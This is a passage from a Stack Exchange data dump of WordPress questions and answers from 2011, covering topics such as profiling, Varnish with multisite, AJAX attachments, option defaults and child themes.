  <row Id="8913" PostTypeId="2" ParentId="8912" CreationDate="2011-02-08T21:54:55.663" Score="1" ViewCount="" Body="&lt;p&gt;The ID field will definitely work. If you wanted a larger number you could just add 10,000 to it and it will still be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other ways of doing this get more involved. You can store a value in the wp_options table, and then fetch, increment, save, but you have a small window of opportunity where two people could end up with the same number, so you need to check for that and repeat if there was a collision. You can generate MD5 (or SHA1) hashes from some chosen bits of user info, but this will give you a big, nasty string of characters. This can be useful when generating a UUID (Universally Unique ID) across multiple systems because the chance of collision is vanishingly small.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-08T21:54:55.663" />
  <row Id="8914" PostTypeId="2" ParentId="8905" CreationDate="2011-02-08T22:04:41.287" Score="1" ViewCount="" Body="&lt;p&gt;You don't indicate what your server arrangement is. If you are in a shared hosting environment you have limited options. If it's your own server, then you can install various profiling tools to get the Big Picture. Look at &lt;a href=&quot;http://stackoverflow.com/questions/21133/simplest-way-to-profile-a-php-script/21145#21145&quot;&gt;this thread&lt;/a&gt; over on SO for some options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, slowness of the delivered page can be the result of a lot of things, only a few of which are PHP/MySQL related. You can have DNS problems, net congestion at either the client or server end, badly planned pages that have lots of JS loading early rather than late, etc. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test the fundamental food chain of network connection + server delivery of the basic HTML page, try using the &lt;a href=&quot;http://httpd.apache.org/docs/2.0/programs/ab.html&quot; rel=&quot;nofollow&quot;&gt;Apache Benchmark&lt;/a&gt; program. Careful! You can beat the crap out of a server with this puppy, and your hosting company will not be amused if you do a one-person imitation of a DOS attack on their machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; OK, a dedicated Linux server gives you important options. In particular, I'll double-down on &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;xdebug&lt;/a&gt; and it's ability to profile your code's execution. It's amazing how quickly a couple of runs under a profiler can shine a bright light on some innocent-looking function that's chewing up the machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing immediately pops out at you, look for routines that seem to be taking more time than they should (whatever &lt;em&gt;that&lt;/em&gt; means) and/or seem to be getting called &lt;em&gt;a lot&lt;/em&gt;. The later can often be rectified by simply caching the results for certain values. If this is a general problem involving different, high-cost functions being called with different parameters, you can look at &lt;a href=&quot;http://en.wikipedia.org/wiki/Memoization&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;memoizing&lt;/em&gt;&lt;/a&gt; the affected functions. I've done this several times in Python, but not in PHP. Here is an article on &lt;a href=&quot;http://www.6gwebdesign.com/articles/php/php-memoization.html&quot; rel=&quot;nofollow&quot;&gt;one person's approach&lt;/a&gt;. There are more posts on this subject out there.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-09T01:07:52.070" LastActivityDate="2011-02-09T01:07:52.070" CommentCount="1" />
  <row Id="8915" PostTypeId="1" AcceptedAnswerId="8964" CreationDate="2011-02-08T22:16:36.660" Score="2" ViewCount="272" Body="&lt;p&gt;I'm trying to use varnish with a wp 3.0.5 site with Network (Multisite), when I access the varnish URL, I get this message: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Multisite only works without the port number in the URL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need a custom VCL to make this work? I'm using the same backend config for other wordpress sites that work fine.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I need to ask this on serverfault, let me know and I'll ask there. &lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-08T23:41:46.267" LastActivityDate="2011-02-09T14:15:02.853" Title="Multisite behind Varnish" Tags="&lt;multisite&gt;&lt;server&gt;&lt;configuration&gt;&lt;varnish&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="8917" PostTypeId="1" AcceptedAnswerId="8938" CreationDate="2011-02-08T22:34:54.453" Score="2" ViewCount="284" Body="&lt;p&gt;I have a custom post type with several custom fields. I am looking to do some validation on these fields because they will be used downstream by other services. So, it is important that it can't be saved until it is correctly entered. The validation is reasonably complex and requires custom logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it also won't work to use a plugin in this particular case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an ideal hook to use in this case? At a high level -- whats the best way to go about this.&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-08T23:43:54.440" LastActivityDate="2011-04-25T21:29:12.897" Title="Correct Approach for Validating Custom Field Input" Tags="&lt;custom-field&gt;&lt;security&gt;&lt;coding&gt;&lt;input&gt;&lt;validation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="8918" PostTypeId="1" AcceptedAnswerId="8933" CreationDate="2011-02-08T23:13:58.177" Score="1" ViewCount="219" Body="&lt;p&gt;I know I have done this before, with a frontend post form anyways that used Ajax to send the form data to a php script that used wp_insert_post() then redirected to that post after a success message displayed, but I can't figure out how to do it with attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is a bit hard to explain. Let me try.&#xA;I have a metabox, that you can add/remove attachments using jquery to add another set of inputs, or remove them, and inturn delete that file from your site. That stuff works. What I would like to do is, when you add a new set of inputs, fill in the info, select the image file to upload, then click Save for that set of inputs (each set has it's own save button) the save button has an Ajax script that sends the data to post.php or whatever happens when you click the Publish button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i fill in a couple attachments fields and click Publish, my action for 'save_post' is used to save that data. I want to create a function that uses admin-ajax.php and a custom hook. Currently i have a delete function that uses admin-ajax.php to delete the attachment file from the post and the media library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a function that adds the file. I'm so confused lol.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-09T03:55:29.803" Title="How do you create an attachment ID with Ajax submit? No page refresh" Tags="&lt;attachments&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="8919" PostTypeId="1" AcceptedAnswerId="21583" CreationDate="2011-02-08T23:19:38.980" Score="4" ViewCount="507" Body="&lt;p&gt;I'm working on a project for a monthly InDesign-based magazine that enables them to put their content online via WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current workflow is either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy/pasting from InDesign to a Word document (by the magazine staff with access to InDesign) and then copy/pasting from Word to the various fields in WP (by an intern without access to InDesign but access to Word)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a CSV that contains all of the post data and use CSV Importer to import to WordPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thus, I have two questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a better InDesign =&gt; WordPress workflow than the ones I discuss above?&lt;/li&gt;&#xA;&lt;li&gt;If not, what a good way of pasting a large amount of multi-line HTML data into a spreadsheet?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Massive gratitude to anyone who can help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The solution I'm looking for involves &lt;strong&gt;as little InDesign-side work as possible&lt;/strong&gt;. I'll spend a month writing an XMLRPC plugin for InDesign from scratch or something similarly stupid if it means not having to retag page elements for a decade worth of issues -- so long as that really is the best possible route.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-02-09T17:24:43.317" LastActivityDate="2011-06-30T09:35:31.880" Title="InDesign to WordPress workflow" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;import&gt;&lt;bulk-import&gt;&lt;publish&gt;" AnswerCount="5" CommentCount="9" />
  <row Id="8920" PostTypeId="2" ParentId="8915" CreationDate="2011-02-08T23:40:02.243" Score="2" ViewCount="" Body="&lt;p&gt;that Wordpress error message is probably misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress looks for the domain name in &lt;a href=&quot;http://php.net/manual/en/reserved.variables.server.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$_SERVER['HTTP_HOST']&lt;/code&gt; (PHP Manual)&lt;/a&gt; and if it contains a port number (separated with : as usual like &lt;a href=&quot;http://example.com:444/&quot; rel=&quot;nofollow&quot;&gt;http://example.com:444/&lt;/a&gt;) it will only accept two variants: port 80 an port 443.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that in your varnish configuration other ports are given and so you bump into that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no expert with varnish, but that's where I would start to tinker with. First of all I would output that value. File in question is &lt;code&gt;/wp-includes/ms-settings.php&lt;/code&gt;, ~ line 38. You can start adding a &lt;code&gt;var_dump($_SERVER['HTTP_HOST']);&lt;/code&gt; before the wp_die statement.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-08T23:40:02.243" />
  <row Id="8921" PostTypeId="2" ParentId="8357" CreationDate="2011-02-08T23:55:17.967" Score="2" ViewCount="" Body="&lt;p&gt;The hierarchy is cached and it's not invalidated properly. This is a bug, still unresolved as of WP 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround would be to call &lt;code&gt;delete_option(&quot;{$taxonomy}_children&quot;);&lt;/code&gt; directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the _get_term_hierarchy() function.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-08T23:55:17.967" CommentCount="2" />
  <row Id="8922" PostTypeId="2" ParentId="8905" CreationDate="2011-02-08T23:56:27.503" Score="5" ViewCount="" Body="&lt;p&gt;There are multiple tools and possibilities, and shure it would be nice to have something quick at hand. I know plugin authors who do offer debug flags so you can analyze what's going on quite easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for plugins, I have not tested it but looked at some screenshots and it is at least informative: &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;Debug Bar (Wordpress Plugin)&lt;/a&gt; and the &lt;a href=&quot;http://wordpress.org/extend/plugins/blackbox-debug-bar/&quot; rel=&quot;nofollow&quot;&gt;BlackBox Debug Bar (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another one is a hooktracer that is not that well known: &lt;a href=&quot;http://blog.sjinks.pro/wordpress/plugins/642-sj-hook-profiler/&quot; rel=&quot;nofollow&quot;&gt;SJ Hook Profiler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do heavily recommend &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;xdebug&lt;/a&gt; for development and testing systems, it's a pleasure to have it if you need to profile or debug stuff.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T00:42:35.000" LastActivityDate="2011-02-09T00:42:35.000" CommentCount="3" />
  <row Id="8924" PostTypeId="1" AcceptedAnswerId="8925" CreationDate="2011-02-09T00:15:38.553" Score="0" ViewCount="101" Body="&lt;p&gt;How can I call the_tags as a list without hyperlinks?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-09T00:20:23.443" Title="the_tags without hyperlinks?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="8925" PostTypeId="2" ParentId="8924" CreationDate="2011-02-09T00:20:23.443" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;   &amp;lt;?php&#xA;    $tags = get_tags();&#xA;&#xA;    foreach($tags as $tag) {&#xA;        echo &quot;&amp;lt;li&amp;gt;$tag-&amp;gt;name&amp;lt;/li&amp;gt;&quot;;&#xA;   }&#xA;   ?&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastActivityDate="2011-02-09T00:20:23.443" CommentCount="2" />
  <row Id="8926" PostTypeId="1" AcceptedAnswerId="9043" CreationDate="2011-02-09T01:08:36.627" Score="-1" ViewCount="192" Body="&lt;p&gt;My contact form is here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordswithfriends.net/?page_id=124&quot; rel=&quot;nofollow&quot;&gt;http://wordswithfriends.net/?page_id=124&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users submit a message, I receive an e-mail but the spinning waiting sign keeps on spinning and the user does not receive confirmation.  What is wrong with the code?&lt;/p&gt;&#xA;" OwnerUserId="2966" LastActivityDate="2011-02-10T03:45:41.920" Title="Why doesn't my contact form work?" Tags="&lt;contact&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8928" PostTypeId="1" AcceptedAnswerId="8930" CreationDate="2011-02-09T01:40:20.287" Score="0" ViewCount="171" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In Loop = There exist a way or hook to get the featured image, if not, the the first image from post and cropit before display it on frontend?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-asking my question: On upload. How do I set a featured crop size for a giving custom post type like: news.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-02-09T01:49:48.633" LastActivityDate="2011-02-09T03:25:44.343" Title="A way to get featuread image or first image and crop on the fly before display" Tags="&lt;cropping&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8929" PostTypeId="2" ParentId="3374" CreationDate="2011-02-09T02:16:56.610" Score="0" ViewCount="" Body="&lt;p&gt;Actually, I just started using a plugin that posts to 14 Web 2.0 sites. It's not free but I think it's pretty cheap considering what it can do for your backlinks. You can get it from this link: &lt;a href=&quot;http://www.neiljw.com/recommends/WPSyndicator&quot; rel=&quot;nofollow&quot;&gt;Wordpress Syndicator&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-09T02:16:56.610" CommentCount="1" />
  <row Id="8930" PostTypeId="2" ParentId="8928" CreationDate="2011-02-09T03:25:44.343" Score="2" ViewCount="" Body="&lt;p&gt;In your theme's functions.php add a call add_image_size($name, $width, $height, $crop) where $name is the name or identifier for the new size, and $crop is whether the image should cropped to fit the dimensions or just shrunk to fit within the dimensions given.  This will register the new size that will be automatically created when you upload new images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size('news-thumbnail', 500, 200, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the template file for your news post type, call the specific thumbnail size name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail('news-thumbnail');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-02-09T03:25:44.343" />
  <row Id="8931" PostTypeId="2" ParentId="3374" CreationDate="2011-02-09T03:49:20.063" Score="0" ViewCount="" Body="&lt;p&gt;You can try &lt;a href=&quot;http://dlvr.it/&quot; rel=&quot;nofollow&quot;&gt;dlvr.it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you just need the rss of your blog and it will be published to facebook, linkedin, googlebuz, Twitter and more....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using it for months  &lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2011-02-09T03:49:20.063" CommentCount="2" />
  <row Id="8932" PostTypeId="1" CreationDate="2011-02-09T03:50:55.520" Score="0" ViewCount="103" Body="&lt;p&gt;I'm new to WordPress and hoping some of you experts can help me figure out the best way to attack what seems like such a simple problem. I need to have two lists of items that the user can add to, delete and update that will show up on the home page of the site. Both lists will be variable in length. They will live on a static home page if that matters. The first list contains items that need to have two fields and the second list contains items that need to have three fields. Then I need to be able to loop through them to display them with CSS styling. If I can somehow get an array of these items, I can handle that part. I've read and read and read stuff, and the more I read, the more confused I'm getting on how best to do this. Custom post types? Taxonomies? Custom Fields? Some combination of those? If I was building this from scratch, this would be such a simple thing, but I can't figure out the best way to do this with WordPress? Can anyone give me some guidance?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-17T16:25:13.373" LastActivityDate="2011-02-17T16:25:13.373" Title="How to create a list of items with fields in WordPress?" Tags="&lt;best-practices&gt;&lt;custom-content&gt;" AnswerCount="2" />
  <row Id="8933" PostTypeId="2" ParentId="8918" CreationDate="2011-02-09T03:55:29.803" Score="0" ViewCount="" Body="&lt;p&gt;Here's my solution for creating an attachment ID with a temporary title and the post_parent which it is attached to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My jQuery psuedo code, without the needless stuff:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jQuery('.addImage').live('click', function() {&#xA;        jQuery.ajax({&#xA;            type: 'post',&#xA;            url: ajaxurl,&#xA;            data: {&#xA;                action: 'save_attachment',&#xA;                _ajax_nonce: jQuery('#nonce_add').val(),&#xA;                post_parent: jQuery('#post_ID').val(),&#xA;                attach_title: 'Attachment ' + size&#xA;            },&#xA;            success: function( res ) {&#xA;                var attID = res.replace(/0$/i, '');&#xA;                alert('Success: ' + attID);&#xA;            }&#xA;        });             &#xA;        size++;&#xA;        return false;&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My admin-ajax.php function and custom hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_attachment() {&#xA;    if ( $_POST['action'] == 'save_attachment' ) {&#xA;&#xA;        $post_title = $_POST['attach_title'];&#xA;        $post_parent = $_POST['post_parent'];&#xA;&#xA;        $attach = array(&#xA;            'post_title'    =&amp;gt; $post_title,&#xA;            'post_parent'   =&amp;gt; $post_parent,&#xA;            'post_type'     =&amp;gt; 'attachment',&#xA;            'guid'          =&amp;gt; '',&#xA;            'post_mime_type'=&amp;gt; 'image'&#xA;        );&#xA;        $attachID = wp_insert_attachment( $attach, false );&#xA;        if( $attachID ) {&#xA;            print_r( $attachID );&#xA;        }&#xA;    }&#xA;}&#xA;add_action( 'wp_ajax_save_attachment', 'save_attachment' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See what I have here is, there's a link with class .addImage, you click that, and it runs the ajax/php save_attachment() function returns the ID which i use in the chunk of code I prepend to my metabox (a group of inputs for new file) and the attachment ID returned is used as the value in the hidden input field within that chunk of code. There's also a save button in that chunk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, given that ID, i can use my already complete and working function for saving (or updating) the attachments with admin-ajax.php saving the data entered and file selected for each one. The remove button for each is also able to make use of the ID to remove the blank attachments if you have no use for them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will soon be a sick ass plugin, once i get this working as a-jacksed up custom metabox.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-09T03:55:29.803" />
  <row Id="8935" PostTypeId="2" ParentId="6510" CreationDate="2011-02-09T03:59:14.933" Score="1" ViewCount="" Body="&lt;p&gt;I didn't get an answer here, but I did migrate my site to regi-plus-redux.  I did have to recreate all of the custom fields, assuming the custom fields were recreated w/ the exact same name and options they did show up for the users after the migration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wasn't a difficult migration, and anyone using regi-plus who wants to upgrade to 2.7+ will need to make the migration, don't worry it won't cause you problems.&lt;/p&gt;&#xA;" OwnerUserId="2092" LastActivityDate="2011-02-09T03:59:14.933" />
  <row Id="8936" PostTypeId="1" CreationDate="2011-02-09T05:02:05.293" Score="0" ViewCount="175" Body="&lt;p&gt;I am using something like this on one of my plugins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myOption_def = &quot;myOption Default Value&quot;;&#xA;$myOption = get_option( 'myOption' ) ? get_option( 'myOption' ) : $myOption_def;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works fine, but the problem is that I need to be able to set the option to &quot;empty&quot;, but when I do that (from a textarea on my plugin's option page), I get the default value instead of an empty string because get_option( 'myOption' ) returns the same if my option value is empty than if it doesn't exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I figure out when my option doesn't exist (and then set $myOption to my default value), or when my option value is empty (and then set $myOption to an empty string)?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-09T10:54:51.003" Title="How to find out if option exists but is empty?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-development&gt;&lt;php&gt;&lt;options&gt;" AnswerCount="3" />
  <row Id="8937" PostTypeId="2" ParentId="8936" CreationDate="2011-02-09T05:05:22.637" Score="0" ViewCount="" Body="&lt;p&gt;Oops, figure out myself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myOption = (get_option( 'myOption' )==FALSE) ? get_option( 'myOption' ) : $myOption_def; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-02-09T05:05:22.637" CommentCount="1" />
  <row Id="8938" PostTypeId="2" ParentId="8917" CreationDate="2011-02-09T06:42:31.240" Score="3" ViewCount="" Body="&lt;p&gt;Example code in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box()&lt;/code&gt;&lt;/a&gt; documentation uses &lt;code&gt;save_post&lt;/code&gt; hook (at the very end of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt; function) to add custom fields data from metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must be using something like that already in your metaboxes, is it not appropriate place to validate your data?..&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T06:42:31.240" CommentCount="1" />
  <row Id="8939" PostTypeId="2" ParentId="8905" CreationDate="2011-02-09T06:50:37.990" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://mirror.facebook.net/facebook/xhprof/doc.html&quot; rel=&quot;nofollow&quot;&gt;XHProf&lt;/a&gt; (open source, part of Facebook stack for their performance monitoring) is pain to setup (at least for Windows person like me), but it's very thorough and convenient performance profiler tool for PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish it had win version for my local test stack. :(&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T06:50:37.990" CommentCount="5" />
  <row Id="8940" PostTypeId="2" ParentId="8932" CreationDate="2011-02-09T07:00:14.407" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type&lt;/a&gt; is content item;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Fields&lt;/a&gt; are arbitrary (as opposed to standard and typical like title or content) entries of information, connected to post;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Taxonomies&quot; rel=&quot;nofollow&quot;&gt;Taxonomy&lt;/a&gt; is structure applied to content.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the one of the possible ways to approach your setup would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;list item = custom post type;&lt;/li&gt;&#xA;&lt;li&gt;data that you need to be stored for list item = custom fields;&lt;/li&gt;&#xA;&lt;li&gt;which of the lists item belongs to = taxonomy (or also custom fields since you don't have many lists).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T07:00:14.407" />
  <row Id="8941" PostTypeId="1" CreationDate="2011-02-09T07:08:19.720" Score="0" ViewCount="144" Body="&lt;p&gt;I have created a website in 2 languages without using any plugin. Just creating new pages in each language and then with the use of Wordpress Conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine except 1 thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my post pages I have to show the post archive like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011&#xA;- January&#xA;- February&#xA;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that is always shown in the same language. I mean I have a conditional that said that &quot;category 3&quot; of my news is in English and &quot;category 4&quot; is in Spanish so i have to create some new conditional in order to get in &quot;archive category 4&quot; the monthly archive in Spanish and in &quot;archive category 4&quot; the monthly archive in English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any way (without plugins) to show the months of wp_get archives in 2 different languages depending the category where are you? Any php lines or use of conditionals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&#xA;Miguel.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-08T22:21:06.590" Title="wp_get_archives in 2 languages. How?" Tags="&lt;wp-get-archives&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8942" PostTypeId="2" ParentId="8936" CreationDate="2011-02-09T07:11:18.860" Score="3" ViewCount="" Body="&lt;p&gt;Basically to distinguish between &lt;code&gt;false&lt;/code&gt; boolean value and &lt;code&gt;''&lt;/code&gt; empty string you must use more strict &lt;a href=&quot;http://php.net/manual/en/language.operators.comparison.php&quot; rel=&quot;nofollow&quot;&gt;comparison operator&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump( '' == false ); // this is 'true', treated like two 'empty()' values&#xA;&#xA;var_dump( '' === false ); // this is 'false', because values are both 'empty()' BUT of different type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there is more. Since what you want is very typical - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_option&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_option()&lt;/code&gt;&lt;/a&gt; already can provide default value on its own. So your code can be simplified to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myOption = get_option( 'myOption', $myOption_def );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will correctly determine empty string and won't apply default value in that case.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T07:11:18.860" CommentCount="1" />
  <row Id="8944" PostTypeId="1" AcceptedAnswerId="8945" CreationDate="2011-02-09T07:49:57.257" Score="1" ViewCount="44" Body="&lt;p&gt;I customized the wordpress theme I'm using by changing php, css and even a js file. Is there a way to protect these changes, when updating the theme to a new version?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2011-02-09T08:20:42.457" Title="Protect changes made to the theme when updating" Tags="&lt;themes&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="8945" PostTypeId="2" ParentId="8944" CreationDate="2011-02-09T08:19:57.927" Score="4" ViewCount="" Body="&lt;p&gt;You can do exactly that by creating &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child Theme&lt;/a&gt;. It depends on specifics of theme you want to customize and amount of changes how complex will it be to implement, but it is definitely most solid way to implement customization and preserve update capabilities.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T08:19:57.927" CommentCount="1" />
  <row Id="8947" PostTypeId="1" CreationDate="2011-02-09T08:27:16.413" Score="0" ViewCount="62" Body="&lt;p&gt;When using the default Category Page under Posts in the WP backend to search for a category, categories show twice. Once for the category and once if it is a child (with - categoryname).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or just the way the search is working? With multiple categories with similar names one can imagine what the results look like. When mousing over the category name, the ID's are the same.&lt;/p&gt;&#xA;" OwnerUserId="1426" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T16:06:02.970" LastActivityDate="2011-02-09T16:06:02.970" Title="Category search showing duplicate Categories?" Tags="&lt;themes&gt;&lt;categories&gt;" CommentCount="3" />
  <row Id="8948" PostTypeId="1" CreationDate="2011-02-09T09:16:48.907" Score="0" ViewCount="70" Body="&lt;p&gt;I've integrated cookies and DBs, and got bbPress to load my WP header and footer - the aim is to enable the client to have one wp_nav_menu for the whole site, with a Custom menu entry for the bbPress front page. Got a couple of issues remaining though. Setup is static homepage with custom template, blog index redirected to another page in Settings.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;bbPress doesn't seem to be loading my WP theme's functions.php - for example, using add_custom_background() works on WordPress pages but not when in bbPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Probably relating to 1, I tried filtering wp_setup_nav_menu_item() as below but again it doesn't seem to be firing when bbPress is loaded - any pages not specifically handled by WP give the class current_page_parent to the blog page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;function rd_setup_nav_menu_item( $menu_item ) {&#xA;&#xA;    // $is_bb set in all bbPress 